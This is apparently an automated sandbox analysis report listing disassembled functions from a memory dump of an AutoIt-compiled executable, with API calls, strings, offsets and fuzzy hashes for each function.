CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 0038E564
GetFileSize.KERNEL32(00000000,00000000), ref: 0038E57B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 0038E586
CloseHandle.KERNEL32(00000000), ref: 0038E593
GlobalLock.KERNEL32(00000000), ref: 0038E59C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0038E5AB
GlobalUnlock.KERNEL32(00000000), ref: 0038E5B4
CloseHandle.KERNEL32(00000000), ref: 0038E5BB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0038E5CC
OleLoadPicture.OLEAUT32(?,00000000,00000000,003AD9BC,?), ref: 0038E5E5
GlobalFree.KERNEL32(00000000), ref: 0038E5F5
GetObjectW.GDI32(?,00000018,000000FF), ref: 0038E619
CopyImage.USER32(?,00000000,?,?,00002000), ref: 0038E644
DeleteObject.GDI32(00000000), ref: 0038E66C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0038E682

Strings

@U=u, xrefs: 0038E682

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID: @U=u
API String ID: 3840717409-2594219639
Opcode ID: 6976d1d67ec082a9160d624efa052a13c46e83954bb612c3294e585c7940af42
Instruction ID: faa929f28ac9348dfeb1185f202b3f77bddea55fcb6039197f027608ccbad893
Opcode Fuzzy Hash: 6976d1d67ec082a9160d624efa052a13c46e83954bb612c3294e585c7940af42
Instruction Fuzzy Hash: F0413875600204BFDB12AF65DC88EABBBBDEF8A715F108598F906D7660D731AD01DB20

Function 0035E69D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0035E6E1
_wcscmp.LIBCMT ref: 0035E6F2
GetWindowTextW.USER32(00000001,?,00000400), ref: 0035E71A
CharUpperBuffW.USER32(?,00000000), ref: 0035E737
_wcscmp.LIBCMT ref: 0035E755
_wcsstr.LIBCMT ref: 0035E766
GetClassNameW.USER32(00000018,?,00000400), ref: 0035E79E
_wcscmp.LIBCMT ref: 0035E7AE
GetWindowTextW.USER32(00000002,?,00000400), ref: 0035E7D5
GetClassNameW.USER32(00000018,?,00000400), ref: 0035E81E
_wcscmp.LIBCMT ref: 0035E82E
GetClassNameW.USER32(00000010,?,00000400), ref: 0035E856
GetWindowRect.USER32(00000004,?), ref: 0035E8BF

Strings

@, xrefs: 0035E6BC
ThumbnailClass, xrefs: 0035E7A9, 0035E829

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 2f56a07fe0c8418d0909d159dbffc5c9dfb871c71d3a0ed3753a3fbbaee2662a
Instruction ID: b3457e53d3cd069eda8f4a25dd46bcdb79f897a8692d27aec39081fa9011b227
Opcode Fuzzy Hash: 2f56a07fe0c8418d0909d159dbffc5c9dfb871c71d3a0ed3753a3fbbaee2662a
Instruction Fuzzy Hash: D481B4710083059FDB0ACF10C885FAA7BE8FF44755F04846AFD8A9A0A5DB34DE49CBA1

Function 0038CC68 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0038CD0B
DestroyWindow.USER32(00000000,?), ref: 0038CD83

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0038CE04
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0038CE26
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0038CE35
DestroyWindow.USER32(?), ref: 0038CE52
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00320000,00000000), ref: 0038CE85
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0038CEA4
GetDesktopWindow.USER32 ref: 0038CEB9
GetWindowRect.USER32(00000000), ref: 0038CEC0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0038CED2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0038CEEA

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

Strings

tooltips_class32, xrefs: 0038CDFD, 0038CE7E
@U=u, xrefs: 0038CDB7, 0038CE91
0, xrefs: 0038CD2B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$@U=u$tooltips_class32
API String ID: 1297703922-1130792468
Opcode ID: 47c17955a426685848da62e67b0292f1c5905659ee21a7e1182b4091b28be4ae
Instruction ID: de30b24f687e33dc07d1b1c8c0b09ceea69c3437dfac8c50240b408eca2a8d4a
Opcode Fuzzy Hash: 47c17955a426685848da62e67b0292f1c5905659ee21a7e1182b4091b28be4ae
Instruction Fuzzy Hash: 1A710071160349AFD726DF28CC85FAA3BE9FB89744F44059CF9859B2A1DB70E801CB21

Function 0035E4EA Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0035E549

Strings

ALL, xrefs: 0035E5DD
LAST, xrefs: 0035E50E
[HANDLE:, xrefs: 0035E555
ACTIVE, xrefs: 0035E524
[ALL, xrefs: 0035E5EF
[LAST, xrefs: 0035E5F6
[CLASS:, xrefs: 0035E599
[REGEXPTITLE:, xrefs: 0035E571
CLASSNAME=, xrefs: 0035E586
REGEXP=, xrefs: 0035E55E
HANDLE=, xrefs: 0035E542
[ACTIVE, xrefs: 0035E536

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 9a99b14ed0c6060d53b8eab6093762c26d7ff56cabbe5adc0de33e34df6bbe91
Instruction ID: 70ac02d4645f2d516e2fdb8bf448817c12351f751826f0882e366f428bae84ad
Opcode Fuzzy Hash: 9a99b14ed0c6060d53b8eab6093762c26d7ff56cabbe5adc0de33e34df6bbe91
Instruction Fuzzy Hash: 3C31E432944215A6DB2BFB50ED13EEF73A4AF21B45F200426F9517A1E5FF61AF08C611

Function 00386F67 Relevance: 24.7, APIs: 2, Strings: 12, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00386FF9
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00387044

Strings

EXISTS, xrefs: 003870AD
UNCHECK, xrefs: 00387208
GETTEXT, xrefs: 0038717F
GETITEMCOUNT, xrefs: 0038710E
GETTOTALCOUNT, xrefs: 00387027
@U=u, xrefs: 00387044
ISCHECKED, xrefs: 003871AF
EXPAND, xrefs: 003870DE
CHECK, xrefs: 00387064
GETSELECTED, xrefs: 0038713C
SELECT, xrefs: 003871DD
COLLAPSE, xrefs: 0038708A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: @U=u$CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-383632319
Opcode ID: 242b07d5863e4aa27d77f077a9f1a122efca7bcf39b3820d31a24c0cf816a47b
Instruction ID: 5d4cb70aec7a350b5f221fd45bb8c1f2a26c13372d1df50a76e50ac2313522b7
Opcode Fuzzy Hash: 242b07d5863e4aa27d77f077a9f1a122efca7bcf39b3820d31a24c0cf816a47b
Instruction Fuzzy Hash: B491B6746087019FCB16FF14C891A6AB7A2AF94350F14489DF8965F7A3DB31ED0ACB41

Function 003701E4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

_wcscpy.LIBCMT ref: 0037026A
_wcschr.LIBCMT ref: 00370278
_wcscpy.LIBCMT ref: 0037028F
_wcscat.LIBCMT ref: 0037029E
_wcscat.LIBCMT ref: 003702BC
_wcscpy.LIBCMT ref: 003702DD
__wsplitpath.LIBCMT ref: 003703BA
_wcscpy.LIBCMT ref: 003703DF
_wcscpy.LIBCMT ref: 003703F1
_wcscpy.LIBCMT ref: 00370406
_wcscat.LIBCMT ref: 0037041B
_wcscat.LIBCMT ref: 0037042D
_wcscat.LIBCMT ref: 00370442

Part of subcall function 0036C890: _wcscmp.LIBCMT ref: 0036C92A
Part of subcall function 0036C890: __wsplitpath.LIBCMT ref: 0036C96F
Part of subcall function 0036C890: _wcscpy.LIBCMT ref: 0036C982
Part of subcall function 0036C890: _wcscat.LIBCMT ref: 0036C995
Part of subcall function 0036C890: __wsplitpath.LIBCMT ref: 0036C9BA
Part of subcall function 0036C890: _wcscat.LIBCMT ref: 0036C9D0
Part of subcall function 0036C890: _wcscat.LIBCMT ref: 0036C9E3

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00370235

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 2955681530-2806939583
Opcode ID: 31c8101800617a574736322b6fce96056730a70a86d8ee842835f9cd00645379
Instruction ID: 9ed05e0b5d2095eb56455715f68738147aee78c012606c2078f51f281e0cb895
Opcode Fuzzy Hash: 31c8101800617a574736322b6fce96056730a70a86d8ee842835f9cd00645379
Instruction Fuzzy Hash: 9991C172504701AFDB26EB50D991F9BB3E8AF84310F04885DF5499F292EB34FA44CB92

Function 0038E305 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0038E3BB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00389615,?), ref: 0038E417
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0038E457
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0038E49C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0038E4D3
FreeLibrary.KERNEL32(?,00000004,?,?,?,00389615,?), ref: 0038E4DF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0038E4EF
DestroyCursor.USER32(?), ref: 0038E4FE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0038E51B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0038E527

Part of subcall function 00341BC7: __wcsicmp_l.LIBCMT ref: 00341C50

Strings

.exe, xrefs: 0038E351
.icl, xrefs: 0038E331
.dll, xrefs: 0038E374
@U=u, xrefs: 0038E507

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Load$Image$LibraryMessageSend$CursorDestroyExtractFreeIcon__wcsicmp_l
String ID: .dll$.exe$.icl$@U=u
API String ID: 3907162815-1639919054
Opcode ID: d7272cef8b64680c1df5c63c10c977b5ed66ab0bbd713b6b2cf9ceb35509e393
Instruction ID: 518e0268d8ac9e92307201afae74faedbbb66079743b5fa1adf99f71029396a5
Opcode Fuzzy Hash: d7272cef8b64680c1df5c63c10c977b5ed66ab0bbd713b6b2cf9ceb35509e393
Instruction Fuzzy Hash: 4361DD71600715BBEB16EF64CC46FBA77ACAB09710F104145F915EB0D0EBB4E980C7A0

Function 0036B428 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 350timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0036B46D
VariantCopy.OLEAUT32(?,?), ref: 0036B476
VariantClear.OLEAUT32(?), ref: 0036B482
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0036B561
__swprintf.LIBCMT ref: 0036B591
VarR8FromDec.OLEAUT32(?,?), ref: 0036B5BD
VariantInit.OLEAUT32(?), ref: 0036B63F
SysFreeString.OLEAUT32(00000016), ref: 0036B6D1
VariantClear.OLEAUT32(?), ref: 0036B727
VariantClear.OLEAUT32(?), ref: 0036B736
VariantInit.OLEAUT32(00000000), ref: 0036B772

Strings

Default, xrefs: 0036B615
%4d%02d%02d%02d%02d%02d, xrefs: 0036B58B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: cd31edee6883e777cf485ba765546560125384146c7459173bd1f2f5df98708b
Instruction ID: f50894b73c71b600d96d1a0fbc90e2f669cff85f029e6bc52ad0c013adf83b7f
Opcode Fuzzy Hash: cd31edee6883e777cf485ba765546560125384146c7459173bd1f2f5df98708b
Instruction Fuzzy Hash: 79C1AF71A04615DBCB23AF66D484B69F7B8BF06300F15C465E409DB98ADB74EC80DFA1

Function 00370E41 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00370EFF
SystemTimeToFileTime.KERNEL32(?,?), ref: 00370F0F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00370F1B
__wsplitpath.LIBCMT ref: 00370F79
_wcscat.LIBCMT ref: 00370F91
_wcscat.LIBCMT ref: 00370FA3
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00370FB8
SetCurrentDirectoryW.KERNEL32(?), ref: 00370FCC
SetCurrentDirectoryW.KERNEL32(?), ref: 00370FFE
SetCurrentDirectoryW.KERNEL32(?), ref: 0037101F
_wcscpy.LIBCMT ref: 0037102B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0037106A

Strings

*.*, xrefs: 00371025

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 3b7fe1d7183da5ac3ddfaeb5154992d1a31304fdfd75abbcd9f6f82aaf770c15
Instruction ID: ee6f832a0bcaa3383736ab7f30b0e848486b9983db9ca9b9bf082ca67b6ea14a
Opcode Fuzzy Hash: 3b7fe1d7183da5ac3ddfaeb5154992d1a31304fdfd75abbcd9f6f82aaf770c15
Instruction Fuzzy Hash: 7A616DB25047059FD721EF24C844A9FB3E8FF89310F04891EF9899B251EB35EA45CB92

Function 0036DAAD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 003284A6: __swprintf.LIBCMT ref: 003284E5
Part of subcall function 003284A6: __itow.LIBCMT ref: 00328519

CharLowerBuffW.USER32(?,?), ref: 0036DB26
GetDriveTypeW.KERNEL32 ref: 0036DB73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0036DBBB
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0036DBF2
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0036DC20

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

Strings

type cdaudio alias cd wait, xrefs: 0036DB9E
set cd door , xrefs: 0036DBC1
closed, xrefs: 0036DB3A, 0036DB43
close cd wait, xrefs: 0036DC0B
open, xrefs: 0036DB4D
wait, xrefs: 0036DBDD
close, xrefs: 0036DB2C
open , xrefs: 0036DB82

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: eb24833d99f71f342c692521575ba0edd153f836044d27e6d1b41d0fdca2caea
Instruction ID: ee9b0e02afdfecba6c35d23c7539667b0924da1687cb62e26db14db98ea6babe
Opcode Fuzzy Hash: eb24833d99f71f342c692521575ba0edd153f836044d27e6d1b41d0fdca2caea
Instruction Fuzzy Hash: 67516C726047159FC706EF10D89196AB7E8FF88758F00886DF8969B261DB31EE05CB92

Function 00363110 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 129windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00394085,00000016,0000138B,?,00000000,?,?,00000000,?), ref: 00363145
LoadStringW.USER32(00000000,?,00394085,00000016), ref: 0036314E

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

GetModuleHandleW.KERNEL32(00000000,00000000,?,00000FFF,?,?,00394085,00000016,0000138B,?,00000000,?,?,00000000,?,00000040), ref: 00363170
LoadStringW.USER32(00000000,?,00394085,00000016), ref: 00363173
__swprintf.LIBCMT ref: 003631B3
__swprintf.LIBCMT ref: 003631C5
_wprintf.LIBCMT ref: 0036326C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00363283

Strings

Error: , xrefs: 0036323C
^ ERROR, xrefs: 00363216
Line %d (File "%s"):, xrefs: 003631BF
Line %d:, xrefs: 003631AD
%s (%d) : ==> %s: %s %s, xrefs: 00363267

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: bf698b46f921a24cc527e1b3716455a5f714fbf68d0e4717dc54f9f0aa245253
Instruction ID: 3d481f5dd47f9dd6f43bd97ea9c829feaaa75c0469151b55dec3a16f24cf562f
Opcode Fuzzy Hash: bf698b46f921a24cc527e1b3716455a5f714fbf68d0e4717dc54f9f0aa245253
Instruction Fuzzy Hash: C2414472900219A6CB16FB90ED97EEFB77CAF15700F504465F201B60A2EE756F44CAA1

Function 0036D950 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 0036D96C
__swprintf.LIBCMT ref: 0036D98E
CreateDirectoryW.KERNEL32(?,00000000), ref: 0036D9CB
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0036D9F0
_memset.LIBCMT ref: 0036DA0F
_wcsncpy.LIBCMT ref: 0036DA4B
DeviceIoControl.KERNEL32(00000000,000900A4,A0000003,?,00000000,00000000,?,00000000), ref: 0036DA80
CloseHandle.KERNEL32(00000000), ref: 0036DA8B
RemoveDirectoryW.KERNEL32(?), ref: 0036DA94
CloseHandle.KERNEL32(00000000), ref: 0036DA9E

Strings

\, xrefs: 0036D9A4
\??\%s, xrefs: 0036D988
:, xrefs: 0036D9AF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 59721acbd202b839125acd0be71875af27bd758702c6484e141a2539de15f2b6
